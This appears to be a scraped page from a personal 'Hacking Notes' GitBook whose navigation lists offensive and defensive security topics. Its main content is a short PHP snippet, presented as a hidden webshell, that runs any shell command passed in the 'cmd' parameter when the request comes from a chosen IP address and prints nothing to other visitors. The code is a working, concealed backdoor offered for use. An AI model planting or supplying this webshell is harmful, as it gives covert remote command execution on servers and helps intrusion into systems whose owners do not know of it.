π¨π»
π¨π»
π¨π»
π¨π»
Hacking Notes
Searchβ¦
π¨π»
π¨π»
π¨π»
π¨π»
Hacking Notes
Hacking Notes
π
One-Liners
β
Offensive
Exploit Workflow
Recon
Payloads
Websites
Password Attacks
Databases
Microsoft Windows Exploits
Social Engineering
Netcat & Socat
File Transfers
Metasploit
Priv Escalation
Pivoting
Certs and Secrets
Post Exploitation
NGROK
Misc.
π‘
Defensive
Defensive Notes
Windows Forensics
Linux Forensics
Network Forensics
Stego
Malware Analysis
Volatility
π©
Cloud
Scope and Shared Responsibility
AWS CLI
Azure CLI
SaaS Attacks
PaaS
β¨
Programming
Programming Notes
Examples and Quick Scripts
Pwn
Python
C
PHP
Powered By
GitBook
PHP
This creates a hidden webshell on a page which will only display if connecting from a previously defined IP.
1
<?php
2
if
(
$_SERVER
[
'REMOTE_ADDR'
]
==
'127.0.0.1'
)
{
3
echo
'you have a nice IP, have a cool secret!<br><br>'
;
4
echo
passthru
(
$_GET
[
'cmd'
]);
5
}
else
{
6
echo
''
;
7
}
8
?>
Copied!
Previous
GDB
Last modified
28d ago
Copy link